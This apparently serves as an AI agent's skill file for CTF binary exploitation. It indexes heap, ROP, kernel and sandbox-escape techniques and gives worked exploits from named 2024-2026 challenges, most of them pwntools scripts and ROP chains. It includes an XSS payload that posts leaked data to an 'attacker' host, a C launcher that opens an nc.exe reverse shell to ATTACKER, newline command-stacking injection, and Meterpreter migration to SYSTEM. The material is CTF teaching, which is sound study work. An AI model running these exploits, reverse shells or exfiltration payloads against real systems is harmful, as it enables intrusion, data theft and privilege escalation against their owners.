| name | ctf-pwn |
| description | Binary exploitation (pwn): stack/heap/format-string/ROP, glibc heap (House-of-*, leakless, FSOP/FSOPAgain), seccomp bypass, sandbox escape, Linux & Windows kernel exploitation (KASLR/SMEP/SMAP, token steal, cred swap, PreviousMode), BROP. Dispatch on binary/checksec signals. |
CTF Binary Exploitation (Pwn)
Quick reference for binary exploitation (pwn) CTF challenges. Each technique has a one-liner here; see supporting files for full details.
Additional Resources
- overflow-basics.md — stack/global overflow, canary bypass, ret2win
- rop-and-shellcode.md — ret2libc, ret2csu, syscall ROP, exotic gadgets
- rop-advanced.md — SROP, RETF arch-switch, .fini_array, ret2vdso, stack pivot
- format-string.md — fmt leaks, GOT/hook overwrite, blind fmt, argv[0] tricks
- advanced.md — heap/UAF classics (House of Orange/Spirit/Lore), ret2dlresolve, JIT
- advanced-2.md — 2024-26: House of Apple 2 (glibc 2.34+), House of Einherjar, musl meta-pointer
- advanced-exploits.md — 2024 era: GC UAF, VM bugs, FSOP+seccomp, custom sandboxes
- advanced-exploits-2.md — 2024-early-2025: io_uring SQE inj, TLS dtor, MOP, corphone
- advanced-exploits-3.md — 2025-2026: vkfs FS, MIPS $gp, alloca, ObjC, ARM64 PAC, cmp timing
- sandbox-escape.md — custom VM, FUSE/CUSE, busybox/restricted shell
- heap-leakless.md — glibc 2.32-2.39+ leakless (Rust/Water/Tangerine/Corrosion)
- kernel.md — Linux kernel fundamentals, QEMU debug, spray structures
- kernel-techniques.md — tty_struct kROP, SLUB internals, userfaultfd, DiceCTF 2026
- kernel-bypass.md — KASLR/FGKASLR, KPTI, SMEP/SMAP, exploit delivery
- kernel-advanced.md — EntryBleed, SLUBStick, DirtyCred, folly page-aliasing
- brop.md — Blind ROP full chain without binary access
- browser-jit.md — V8/SpiderMonkey/JSC JIT type-confusion, sandbox bypass, OSR-exit
- rust-pwn.md — Rust unwind drop, transmute, set_len uninit, async state confusion
Pattern Recognition Index
Map observable signals (not challenge names) to the right technique. Scan this first when you're handed a binary and a remote.
| Signal observed in binary / source | Technique → file |
|---|
checksec: NX but no canary, stack buffer + read/gets | Plain stack overflow → overflow-basics.md |
Canary + forking server (pre-fork accept loop) | Byte-by-byte canary brute-force → overflow-basics.md |
int/ssize_t length → read(fd, buf, len) with only len > MAX check | Signed→size_t confusion → advanced-exploits-2.md |
printf(user_ptr) with no format string | Format-string leak + GOT overwrite → format-string.md |
| glibc 2.32+ tcache with Safe-Linking; no leaks possible | House of Rust / Water → heap-leakless.md |
glibc 2.39+, no free() primitive exposed | House of Tangerine (malloc-only AAW) → heap-leakless.md |
mmap(MAP_FIXED) exposed with controllable addr, prot | MOP — libc code-page zeroing → advanced-exploits-3.md |
| Fork/clone + tiny shared-mem handshake validating input char-by-char | strace byte-count side-channel → advanced-exploits-2.md |
Kernel chall, unpriv userns, splice()/vmsplice() + large kmalloc free | Pipe-backed folio_put page-UAF → advanced-exploits-3.md |
Container with custom bind-mounts on /dev, /proc under runc ≤ 1.1.x | runc 2025 symlink-race escape → advanced-exploits-3.md |
| Unicorn/QEMU sandbox with host-side helper reads | Host/guest hook divergence → advanced-exploits-3.md |
| Kernel io_uring SQE reachable via UAF / type confusion | io_uring worker abuse → kernel-advanced.md, advanced-exploits-2.md |
| KASLR + Linux ≥ 5.8 + prefetch available | EntryBleed → kernel-advanced.md |
| Windows driver IOCTL + NT kernel | PreviousMode / token stealing → kernel-advanced.md, advanced-exploits-2.md |
| No binary given, remote only, forking server with long timeout | Blind ROP (BROP) → brop.md |
seccomp filter blocking execve, open/read/write allowed | ORW ROP → rop-and-shellcode.md, rop-advanced.md |
MIPS ELF + overflow reachable + $gp loadable from writable region | $gp-pivot fake-GOT → advanced-exploits-3.md |
Custom FS with (mip,x,y)-style path tuples + SHA256 hashing | Coord-indexed FS overflow → advanced-exploits-3.md |
| Format-string read + later FILE* UAF in same binary | FILE UAF + fstr bridge → advanced-exploits-3.md |
pthread + user-controlled alloca(n) + shutdown(fd, SHUT_WR) | Cross-thread alloca smash + partial-close leak → advanced-exploits-3.md |
libobjc linked + tcache-sized free followed by objc_msgSend | Isa-pointer UAF dispatch hijack → advanced-exploits-3.md |
aarch64 kernel mod + paciza/autiza + IOCTL sizeof bound | ARM64 PAC-key exfil via bounds-mismatch AAR → advanced-exploits-3.md |
seccomp kills write/socket + /usr/bin/cmp reachable + /flag readable | cmp timing oracle → advanced-exploits-3.md |
| C++ pwn with vtable dispatch + 0x110/0x480 chunk sizes | House of Spirit via C++ vtable → advanced-exploits.md |
SPLICE_F_GIFT / MSG_ZEROCOPY / TCP_ZEROCOPY_RECEIVE in proxy | Zero-copy page aliasing TOCTOU → kernel-advanced.md |
seccomp allows io_uring_* only, kernel ≥ 6.1 | IORING_SETUP_NO_MMAP escape → sandbox-escape.md |
| Sandboxed proc can recv from helper via AF_UNIX | SCM_RIGHTS fd smuggling → sandbox-escape.md |
setuid binary scrubs secret after read, coredumps reachable | Coredump race → sandbox-escape.md |
| Non-standard eBPF prog on kprobe, flag gated by global state | eBPF FSM syscall-sequence → sandbox-escape.md |
| Traefik ≤ 2.11.13 front + Flask/Node admin routes | X-Forwarded-* reach → polyglot chain → advanced-exploits-3.md |
d8 / js / jsc binary + *.patch modifying JIT compiler sources | JIT type confusion → browser-jit.md |
V8 build with v8_enable_sandbox=true; primitive only inside cage | ExternalPointerTable bypass → browser-jit.md |
Turbofan typer patch touching Type::Range / Type::OtherNumber | Range-analysis type confusion → browser-jit.md |
IonMonkey RangeAnalysis.cpp diff or JSC DFGSpeculativeJIT.cpp diff | OSR-exit / range bug → browser-jit.md |
| Rust panic caught + recovered with unsafe state between | Unwind-path Drop corruption → rust-pwn.md |
mem::transmute / slice::from_raw_parts_mut on user-controlled len | Sliced-length OOB → rust-pwn.md |
Vec::reserve(n) + set_len(n) without n writes | Uninitialised-drop vtable hijack → rust-pwn.md |
as u32 / as usize on subtraction result in release build | Truncation overflow → rust-pwn.md |
async fn with Pin<&mut Self> across .await + raw-ptr aliasing | Future state-machine confusion → rust-pwn.md |
unprivileged_bpf_disabled=0 + kernel 5.13-6.5 + bpf_prog_load reachable | eBPF verifier pointer-arith bypass → kernel-advanced.md |
BPF_MAP_TYPE_RINGBUF + kernel < 5.15 | Ringbuf stale-byte KASLR leak → kernel-advanced.md |
Recognize the mechanic first. The challenge title is never the signal.
For inline code/cheatsheet quick references (grep patterns, one-liners, common payloads), see quickref.md. The Pattern Recognition Index above is the dispatch table — always consult it first; load quickref.md only if you need a concrete snippet after dispatch.
CTF Pwn - Advanced Heap (2024-2026)
Modern glibc / musl heap exploits from 2024-2026. For the canonical toolbox (UAF, classic House-of-* primitives, tcache stashing, ret2dlresolve, JIT), see advanced.md.
Table of Contents
House of Apple 2 — FSOP for glibc 2.34+ (0xFun 2026)
When to use: Modern glibc (2.34+) removed __free_hook/__malloc_hook. House of Apple 2 uses FSOP via _IO_wfile_jumps.
Full chain: UAF → leak libc (unsorted bin fd/bk) → leak heap (safe-linking mangled NULL) → tcache poisoning to _IO_list_all → fake FILE → exit triggers shell.
Fake FILE structure requirements:
fake_file = flat({
0x00: b' sh\x00',
0x20: p64(0),
0x28: p64(1),
0x88: p64(heap_addr),
0xa0: p64(wide_data_addr),
0xd8: p64(io_wfile_jumps),
}, filler=b'\x00')
fake_wide_data = flat({
0x18: p64(0),
0x30: p64(0),
0xe0: p64(fake_wide_vtable),
})
fake_wide_vtable = flat({
0x68: p64(libc.sym.system),
})
Trigger chain: exit() → _IO_flush_all_lockp → _IO_wfile_overflow → _IO_wdoallocbuf → _IO_WDOALLOCATE(fp) → system(fp) where fp = " sh\x00...".
Safe-linking (glibc 2.32+): tcache fd pointers are mangled: fd = ptr ^ (chunk_addr >> 12). To poison tcache:
mangled_fd = target_addr ^ (current_chunk_addr >> 12)
House of Einherjar — Off-by-One Null Byte (0xFun 2026)
Vulnerability: Off-by-one NUL at end of malloc_usable_size clears PREV_INUSE of next chunk.
Exploit chain:
- Set
prev_size of next chunk to create fake backward consolidation
- Forge largebin-style chunk with
fd/bk AND fd_nextsize/bk_nextsize all pointing to self (passes unlink_chunk())
- After consolidation, overlapping chunks enable tcache poisoning
- Overwrite
stdout or _IO_list_all for FSOP
Key requirement: Self-pointing unlink trick is essential. The fake chunk must pass unlink_chunk() which checks FD->bk == P && BK->fd == P and (for large chunks) fd_nextsize->bk_nextsize == P && bk_nextsize->fd_nextsize == P:
fake_chunk = flat({
0x00: p64(0),
0x08: p64(target_size | 1),
0x10: p64(fake_addr),
0x18: p64(fake_addr),
0x20: p64(fake_addr),
0x28: p64(fake_addr),
}, filler=b'\x00')
Setup sequence:
- Allocate chunks A (large, will hold fake chunk), B (filler), C (victim with off-by-one)
- Write fake chunk into A with self-referencing pointers
- Trigger off-by-one on C to clear B's PREV_INUSE and set B's prev_size
- Free B → consolidates backward into A → overlapping chunk
- Allocate over the overlap region to control other live chunks
musl libc Heap Exploitation — Meta Pointer + atexit (UNbreakable 2026)
Pattern (atypical-heap): Binary linked against musl libc (not glibc). musl's allocator uses meta structures instead of chunk headers. OOB read leaks meta->mem pointer; arbitrary write redirects allocation to controlled address.
musl allocator layout:
- Each allocation belongs to a
group, managed by a meta struct
meta->mem points to the group's data region
- First
0x70-class allocation places meta0->mem at a fixed offset from PIE base (e.g., chall_base + 0x3f20)
Exploitation chain:
- Leak meta pointer — OOB read at offset
0x80 from a heap allocation reads the meta struct pointer
- Recover PIE base —
meta0->mem is at a fixed offset from the binary base
- Redirect allocation — Overwrite
meta->mem to point at a live group or target address. Next allocation from that group returns attacker-controlled memory
- atexit hijack — Overwrite musl's
atexit handler list with system("cat flag"). Normal program exit triggers code execution
meta_ptr = leak_at_offset(0x80)
pie_base = meta_ptr - 0x3f20
write_at(meta_ptr + META_MEM_OFFSET, target_addr)
alloc_and_write(atexit_list_addr, system_addr, "cat flag")
Key insight: musl's allocator metadata (meta structs) is stored separately from heap data, but predictable offsets link them to the binary base. Unlike glibc, musl has no safe-linking or tcache — corrupting meta->mem gives direct allocation control. The atexit handler list is a simpler code execution target than glibc's __free_hook (which is removed in 2.34+).
Detection: Binary uses musl libc (check ldd, or strings binary | grep musl). Menu-style heap challenges with read/write primitives.
CTF Pwn - Advanced Exploit Techniques (Part 2)
Table of Contents
For 2025-2026 sections moved to advanced-exploits-3.md: MOP libc zeroing, folio_put page UAF, Unicorn host/guest, runc 2025 escape, SekaiCTF 2025 vkfs / MIPS, HTB Business 2025, Midnightflag 2025.
Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
Pattern (Registered Stack): Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., push fs → syscall).
Key technique: push fs encodes as 0f a0, and syscall as 0f 05. The validator accepts push fs, but at runtime a preceding push rbx overwrites the a0 byte with 05 on the stack, turning it into syscall.
Exploit structure:
- Use
pop instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR)
- Seed specific stack values for
pop sp instruction (pivots to controlled location)
- Place
syscall gadget disguised as push fs with self-modifying byte mutation
- Use
read(0, stage2_buf, size) syscall to load stage 2
- Stage 2 contains interactive shell code
code = []
code += [0x59] * 30
code += [0x66, 0x5c]
code += [0x50] * 17
code += [0x66, 0x50]
code += [0x66, 0x54, 0x66, 0x5b]
code += [0x50] * 66
code += [0x66, 0x59]
code += [0x53]
code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]
Key insight: Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., 0f a0 → 0f 05). Use preceding instructions to write the mutation byte onto the stack/code region.
io_uring UAF with SQE Injection (ApoorvCTF 2026)
Pattern (Abyss): Multi-threaded binary with custom slab allocator and io_uring worker thread. A FLUSH operation frees objects but preserves dangling pointers, creating UAF. Type confusion between freed/reallocated objects enables injection of io_uring SQE (Submission Queue Entry) structures.
Exploitation chain:
- Exhaust both slab allocators (fill all slots)
- Leak PIE base from STATUS response
- FLUSH frees objects (UAF — pointers remain valid)
- Allocate different type into freed slots (type confusion via exhausted secondary slab falling back to primary)
- Write crafted io_uring SQE into reused memory
- Worker thread submits SQE as-is →
IORING_OP_OPENAT opens flag file
io_uring SQE structure for file read:
import struct
def craft_sqe(pie_base, flag_path_offset=0x6010):
sqe = bytearray(64)
struct.pack_into('B', sqe, 0, 0x12)
struct.pack_into('i', sqe, 4, -100)
struct.pack_into('Q', sqe, 16, pie_base + flag_path_offset)
return bytes(sqe)
Key insight: io_uring's kernel-side processing trusts SQE contents from userland shared memory. If an attacker controls the SQE buffer via UAF/type confusion, arbitrary kernel operations (file open, read, write) execute without syscall filtering. XOR-encoded slab freelists add complexity but don't prevent logical UAF when FLUSH clears objects without NULLing all references.
Detection: Binary uses io_uring_setup/io_uring_enter syscalls, custom allocator with FLUSH/cleanup operations, multiple threads sharing memory.
Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
Pattern (Archive): Input validated as int32 (>= 0), then cast to int16_t for bounds check (<= 3). Values 65534-65535 pass the int32 check but become -2/-1 as int16_t, enabling OOB array access.
payload = str(65534).encode()
Dynamic fd capture via xchg rdi, rax:
In Docker/socat environments, open() may return fd 4+ instead of 3 (extra inherited fds). Hardcoding fd=3 in ORW ROP chains fails.
rop = ROP(libc)
rop.raw(pop_rdi)
rop.raw(flag_str_addr)
rop.raw(pop_rsi)
rop.raw(0)
rop.raw(libc.sym.open)
rop.raw(libc_base + 0x181fe1)
rop.raw(pop_rsi)
rop.raw(buf_addr)
rop.raw(pop_rdx_xor_eax)
rop.raw(0x100)
rop.raw(libc.sym.read)
Key insight: xchg rdi, rax; cld; ret is the critical gadget for containerized ORW — it passes open()'s actual return value to read() without hardcoding the fd number. The pop rdx; xor eax, eax; ret gadget serves double duty: sets rdx for read size AND clears eax to 0 (SYS_read syscall number).
GC Null-Reference Cascading Corruption (DiceCTF 2026)
Pattern (Garden): Custom stack-based VM with mark-compact GC. GC's mark_reachable() follows null references (ref=0) to address 0 of the managed heap (zeroed reserved area), creating a fake 4-byte object. During compaction, memmove copies this fake object first, corrupting adjacent real object headers.
Exploit chain:
-
Cascading memmove — Set up sacrificial array SAC with entries[0]=0xFFFF, large array BIG (196 entries) with entries[195]=0x00040005, off-heap object OH
- Null-ref GC corrupts SAC's header to
{0,0} (length=0)
- SAC's entry
0xFFFF cascades into BIG's header → BIG.length = 0xFFFF (OOB!)
- BIG's entry
0x00040005 cascades into OH's header → OH stays valid
-
OOB expansion — Use BIG's OOB write to set OH.obj_size = 0x10000, giving 256KB OOB access on glibc heap
-
Libc leak — Create 70+ extra objects so GC's ctx.objs allocation exceeds 0x410 bytes → freed to unsorted bin → main_arena pointers readable via OH
-
House of Apple 2 FSOP — Build fake FILE in OH's data buffer:
fake_file = flat({
0x00: b'$0\x00\x00',
0x20: p64(0),
0x28: p64(1),
0x88: p64(heap_lock_addr),
0xa0: p64(wide_data_addr),
0xc0: p64(1),
0xd8: p64(io_wfile_jumps),
})
fake_wide = flat({
0x18: p64(0),
0x30: p64(0),
0xe0: p64(fake_wide_vtable_addr),
})
fake_wide_vtable = flat({
0x68: p64(libc.sym.system),
})
- Trigger — Program exit →
_IO_flush_all → fake FILE → _IO_wfile_overflow → _IO_wdoallocbuf → system("$0") → shell
system("$0") trick: $0 expands to the shell name when run via system(). Using "$0\x00\x00" as _flags means system(fp) calls system("$0") which spawns a shell.
Key insight: Mark-compact GC that follows null references creates controllable corruption. The cascade effect — where one corrupted header causes memmove to misalign subsequent objects — amplifies a small initial corruption into full OOB access. Combined with FSOP, this achieves code execution from a VM-level bug.
STORE array pattern for VM stack management: When VM only has DUP/SWAP/DROP/DUP_X1, allocate an array object to hold references (via SET_ELEM_OBJ/GET_ELEM_OBJ), enabling random access to values that would otherwise require complex stack juggling.
Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
Pattern (Eyeless): No direct libc leak available (no format string, no UAF, no unsorted bin). Construct a fake stdout FILE structure on BSS via ROP, then call fflush(stdout) to leak a GOT entry containing a libc address.
The null byte problem: fgets appends \x00 after reading. Libc pointers are 6 bytes + 2 null MSBs (0x00007f...). Writing an 8-byte pointer via fgets corrupts the byte after it with \x00. Directly writing adjacent FILE struct fields is impossible without corruption.
Multi-fgets solution: Chain multiple fgets(addr, 7, stdin) calls, each writing 7 bytes. The null byte from each fgets lands on the next field's null MSB (harmless for libc pointers):
FAKE_STDOUT = BSS + 0x800
rop += fgets_call(FAKE_STDOUT, 7)
rop += fgets_call(FAKE_STDOUT + 0x20, 7)
rop += fgets_call(FAKE_STDOUT + 0x28, 7)
rop += flat(POP_RDI, FAKE_STDOUT)
rop += flat(elf.plt['fflush'])
Receiving the leak:
leak = u64(p.recv(8))
libc_base = leak - libc.sym.fflush
Key insight: fgets always appends \x00, but libc addresses already end with \x00\x00 in their two MSBs. Writing in 7-byte chunks means the appended null overwrites a byte that is already null. This enables constructing complex structures (FILE, vtables) in BSS without a prior libc leak.
When to use: Binary has fgets or similar input function in PLT, a writable BSS/data region, but no existing leak primitive. Requires ROP control (stack pivot) to chain the multiple fgets calls.
Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
Pattern (heapn⊕te-ic): Message structure stores size as signed char but encryption/display casts to unsigned char. Passing size = -112 stores as char(-112), but (unsigned char)(-112) = 144. With a 127-byte buffer, this gives a 17-byte heap overflow.
Key insight: The signed/unsigned char mismatch is a single-byte integer type — unlike int32→int16 truncation, this exploits the implicit promotion from char to unsigned char in C, common when size fields use char instead of size_t.
XOR Cipher Keystream Brute-Force Write Primitive
The challenge uses a deterministic XOR cipher with djb2 hash chain as keystream:
def hash_string(s):
h = 5381
for c in s:
h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
return h
def get_keystream_byte(seed, x):
h = hash_string(str(seed).encode())
for _ in range(x // 8):
h = hash_string(str(h).encode())
return p64(h)[x % 8]
def brute_seed(x, target_byte):
for seed in range(0xFFFFFFFF):
if get_keystream_byte(seed, x) == target_byte:
return seed
Key insight: Deterministic keystream from a brute-forceable seed space enables targeted byte writes via XOR. Each byte position requires finding a seed that produces the desired keystream byte, then XORing with plaintext to write exactly that byte.
Byte-by-byte write primitive:
def write_byte(pos, target_byte, idx, leak=False):
add(underflow(pos), b"A", brute_seed(pos, target_byte))
if leak:
data = view(idx)
delete(idx)
add(underflow(pos+1), b"A", brute_seed(pos, target_byte))
delete(idx)
return data
def overflow_write(offset, payload, idx):
for i, byte in enumerate(payload):
write_byte(offset + i, byte, idx)
Tcache Pointer Decryption for Heap Leak
Allocate two chunks, free in LIFO order. The mangled tcache fd pointer (glibc 2.32+ safe-linking) stored in the freed chunk can be decoded:
heap_leak = u64(leaked_fd) << 12
Key insight: The first entry in a tcache bin has fd = NULL ^ (addr >> 12), so fd << 12 directly yields the heap base region. No brute-force needed.
Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)
To get a libc leak from tcache-sized chunks, forge the next chunk's size header to ≥0x420 (minimum for unsorted bin):
overflow_write(size_offset, p64(0x431), chunk_idx)
libc_base = u64(leaked_fd) - 0x203b20
Key insight: Any chunk can be promoted to unsorted bin by forging its size ≥0x420. The consistency check requires that chunk_at_offset(p, size)->size has PREV_INUSE set and is reasonable. Pre-place valid metadata at that boundary.
FSOP Stdout Redirection for TLS Segment Leak
Tcache poison toward _IO_2_1_stdout_ - 0x20 to craft a fake FILE structure that leaks the TLS segment address:
Key insight: Redirecting _IO_write_base of stdout leaks arbitrary memory on the next write. TLS addresses have recognizable alignment patterns — scan the leaked data for them.
TLS Destructor Overwrite for RCE via __call_tls_dtors
The TLS destructor list (__tls_dtor_list) contains entries with function pointers mangled using the pointer guard (stored in TLS). Overwriting this list with crafted entries achieves RCE:
def rol(val, bits, width=64):
return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)
pointer_guard = tls_leak
encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)
node1 = p64(0) * 2
node1 += p64(0x111)
node1 += p64(encoded_setuid)
node1 += p64(0)
node1 += p64(heap_addr + node2_offset) * 2
node2 = p64(encoded_system)
node2 += p64(binsh_addr)
node2 += p64(0)
Full chain: integer underflow → heap overflow → tcache leak → unsorted bin libc leak → FSOP stdout TLS leak → pointer guard recovery → __call_tls_dtors hijack → setuid(0) + system("/bin/sh").
Key insight: __call_tls_dtors iterates a singly-linked list calling PTR_DEMANGLE(func)(obj) for each entry. Demangling is ror(val, 0x11) ^ pointer_guard. To encode: rol(target ^ pointer_guard, 0x11). The pointer guard lives in TLS at a fixed offset — once leaked via FSOP stdout, the entire list is forgeable.
When to use: Modern glibc (2.34+) where __free_hook/__malloc_hook are removed and FSOP via _IO_wfile_jumps (House of Apple 2) is blocked or constrained. TLS destructor overwrite is an alternative exit-time code execution path.
Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)
Pattern (Revenant): Binary implements a userland shadow stack in .bss — each function call pushes the return address to both the hardware stack and a shadow_stack[] array, validating them on return. The shadow_stack_ptr index increments on every call but is never bounds-checked, allowing it to overflow past the array into adjacent .bss variables.
Binary protections:
- Full RELRO, NX enabled, PIE disabled (fixed addresses)
- SHSTK and IBT enabled (Intel CET — hardware shadow stack)
- No stack canary
.bss memory layout:
0x406000: shadow_stack[512] (512 × 8 = 4096 bytes)
0x407000: username[16] (user-controlled via input)
0x407040: shadow_stack_ptr (index into shadow_stack)
0x407048: shadow_stack_base
Exploitation strategy:
- Trigger controlled recursion (e.g.,
do_reset() → play() loop) to increment shadow_stack_ptr exactly 512 times
- After 512 iterations,
shadow_stack_ptr points to username (user-controlled buffer)
- Write the
win() address into username via normal input
- Overflow the stack buffer to overwrite the hardware return address with
win()
- On return, both shadow stack and hardware stack contain
win() — validation passes
Exploit code (pwntools):
from pwn import *
exe = ELF('./revenant')
io = process('./revenant')
shadow_stack_addr = exe.symbols["shadow_stack"]
username_addr = exe.symbols["username"]
iterations = (username_addr - shadow_stack_addr) // 8
name = fit(exe.symbols["win"])
for i in range(iterations):
io.sendlineafter(b"Survivor name:\n", name)
io.sendlineafter(b"[0] Flee", b"4")
padding = 56
payload = fit({padding: exe.symbols["win"]})
io.sendlineafter(b"(0-255):\n", payload)
io.interactive()
Key insight: Userland shadow stack implementations that lack bounds checking on the stack pointer are vulnerable to pointer overflow. By recursing enough times, the validation pointer advances past the shadow stack array into adjacent user-controlled memory (e.g., a username buffer). Writing the desired return address there makes the shadow stack check pass, defeating the protection entirely. The required iteration count is (target_addr - shadow_stack_base) / pointer_size.
Detection pattern: Look for:
.bss arrays used as shadow stacks (paired push/pop with function calls)
- Missing bounds check on the index variable
- User-writable
.bss variables adjacent to (above) the shadow stack array
- Recursive function calls controllable from user input
Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)
Pattern (Canvas of Fear): Web application wraps a native binary (canvas_manager) behind a Flask API, with admin endpoints restricted to 127.0.0.1. The binary manages "canvases" (heap-allocated pixel arrays) with a pixel SET command that computes a 2D index as y * width + x using a signed 32-bit int. Supplying large y values overflows the multiplication to a negative result, passing the bounds check (index < width * height) while accessing memory before the data buffer — a negative OOB heap write primitive.
Three-layer exploit chain:
- Stored XSS (Flask
|safe Jinja filter) → admin bot executes JS at 127.0.0.1
- XSS payloads call admin API (Fetch API) → triggers binary commands
- Integer overflow → heap corruption → libc/stack leak → ROP chain
Heap Primitive: Signed Int Overflow in Index Calculation
The pixel index formula y * width + x wraps in 32-bit signed arithmetic:
cmd(b'SET 1 42 8589934591 0x340000')
Key insight: The bounds check index < width * height uses signed comparison, so a negative overflow result always passes. This turns a single pixel SET into a backward OOB write into heap metadata or adjacent chunk headers.
Full Exploitation Chain
from pwn import *
cmd(b'CREATE 1 50 50')
cmd(b'CREATE 2 20 20')
cmd(b'CREATE 3 20 20')
cmd(b'DELETE 2')
cmd(b'SET 1 42 8589934591 0x340000')
cmd(b'GET 1')
cmd(b'SET 1 42 8589934591 0xffffff')
target = unpack(pack(libc.sym["environ"]), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
cmd(b'GET 3')
target = unpack(pack(main_ret), endianness='big')
cmd(f'SET 1 2928 0 {hex((target >> 40) & 0xffffff)}'.encode())
cmd(f'SET 1 2929 0 {hex((target >> 16) & 0xffffff)}'.encode())
pop_rdi = libc.address + 0x2d7a2
ret = libc.address + 0x2c495
binsh = next(libc.search(b'/bin/sh\x00'))
payload = flat({0: [pop_rdi, binsh, ret, libc.sym["system"]]})
for i in range(0, len(payload), 3):
block = unpack(payload[i:i+3][::-1].ljust(8, b'\x00')) & 0xffffff
cmd(f'SET 3 {i//3} 0 0x{block:06x}'.encode())
cmd(b'EXIT')
XSS-to-Binary Pwn Bridge
When the binary is behind a web API with admin-only endpoints:
- Stored XSS via Flask
|safe: User messages rendered with {{ msg.content | safe }} bypass Jinja autoescaping. Submit <script type="module">...</script> via the public message endpoint
- Admin bot visits
/admin/messages from 127.0.0.1 → XSS executes
- Multi-stage payloads: Each XSS stage calls admin API endpoints via
fetch(), exfiltrates leaks to attacker VPS, then the next stage uses computed addresses:
var res = await fetch("/api/canvas/get/1");
var data = await res.json();
await fetch('http://attacker:5000/', {
method: 'POST', mode: 'no-cors',
body: JSON.stringify({"pixels": btoa(JSON.stringify(data.pixels))})
});
- Newline injection for command stacking: The API uses
pwntools.sendline() to forward user input to the binary. Injecting \n in a parameter (e.g., "color": "#000000\nEXIT\n") executes multiple binary commands in one request, bypassing the API's EXIT-then-restart logic:
body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\nEXIT"})
body: JSON.stringify({"id": 9, "x": 0, "y": 0, "color": "#000000\n./read_flag"})
Key insight: The 3-byte RGB pixel value maps naturally to a 24-bit arbitrary write primitive — each SET writes 3 bytes at a controlled offset. Overwriting a canvas's data pointer (via OOB from another canvas) transforms pixel read/write into full arbitrary read/write. The environ → stack leak → ROP chain pipeline converts this into RCE. When the binary sits behind a web API, XSS bridges the network boundary and newline injection through sendline() enables command stacking.
Detection pattern:
- Index computation using signed int multiplication on user-controlled values
- Bounds check using signed comparison (negative values always pass)
- Adjacent heap allocations where metadata/pointers follow data buffers
- Web API that passes user input directly to
process.sendline() without newline sanitization
- Flask templates with
|safe filter on user-controlled content
Windows SEH Overwrite + pushad VirtualAlloc ROP (RainbowTwo HTB)
Pattern: 32-bit Windows PE (Portable Executable) with ASLR (Address Space Layout Randomization), DEP (Data Execution Prevention), and GS (stack cookie) enabled but SafeSEH disabled. Combine format string leak (defeats ASLR) with SEH-based (Structured Exception Handler) buffer overflow using VirtualAlloc ROP chain to bypass DEP.
Attack chain:
- Format string leak defeats ASLR: User input used as printf format string leaks code pointer at position 2:
LST %p-%p-%p-%p-%p → binary_base = int(leaks[1], 16) - 0x14120
- Buffer overflow triggers SEH:
sprintf("Path: %s", user_path) into 1024-byte buffer overflows into SEH handler chain
- Stack pivot via SEH handler:
add esp, 0xe10; ret redirects from exception context into ROP chain
- Ret-slide absorbs crash variation: 30x
ret gadgets at start of ROP chain absorb variable crash offset
- pushad VirtualAlloc technique: Set all 8 registers to correct values, then
pushad builds the entire VirtualAlloc(lpAddress, dwSize=1, flAllocationType=0x1000, flProtect=0x40) call frame in one instruction
- IAT-relative function resolution:
VirtualAlloc not in IAT (Import Address Table), but TlsAlloc is. Read [TlsAlloc@IAT], add offset to get VirtualAlloc address — offset calculated from provided kernel32.dll
- jmp esp to shellcode: After VirtualAlloc marks stack RWX (Read-Write-Execute),
jmp esp executes shellcode that follows
rop = p32(base + RET) * 30
rop += p32(base + POP_EAX) + p32(0x8314c2ab)
rop += p32(base + SUB_EAX)
rop += p32(base + POP_EAX) + p32(base + TLSALLOC_IAT)
rop += p32(base + MOV_EAX_DEREF_EAX)
rop += p32(base + ADD_EAX_EDI)
rop += p32(base + PUSHAD_RET)
rop += p32(base + JMP_ESP)
Bad characters for shellcode: \x00 (sprintf null), \x09-\x0d (whitespace), \x20 (space), \x25 (% triggers format string). Encode with msfvenom's shikata_ga_nai to avoid these bytes.
Detached process for shell stability: When exploiting thread-based servers, child processes die with the parent thread. Compile a launcher with CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS flags:
#include <windows.h>
int main() {
STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
CreateProcessA(NULL, "C:\\shared\\nc.exe ATTACKER 9002 -e cmd.exe",
NULL, NULL, FALSE,
CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
return 0;
}
Key insight: pushad pushes all 8 general-purpose registers (EDI, ESI, EBP, ESP, EBX, EDX, ECX, EAX) onto the stack in one instruction. By pre-loading each register with the correct value, pushad builds the entire STDCALL function call frame in the exact order Windows expects. This avoids the need for mov [esp+N], reg gadgets which are rare.
SeDebugPrivilege to SYSTEM (RainbowTwo HTB)
Exploits SeDebugPrivilege to escalate to SYSTEM by migrating into a SYSTEM-owned process. The privilege allows debugging any process, even if listed as "Disabled" — Meterpreter enables it automatically before use.
Steps:
- Upload Meterpreter payload and obtain a session
- Migrate into a SYSTEM-level process:
meterpreter > migrate -N winlogon.exe
meterpreter > getuid
# NT AUTHORITY\SYSTEM
Meterpreter's migrate injects a DLL into the target process (winlogon.exe, lsass.exe), running code as that process's user (SYSTEM).
Detection: whoami /priv shows SeDebugPrivilege. Common on service accounts and NT AUTHORITY\SERVICE.
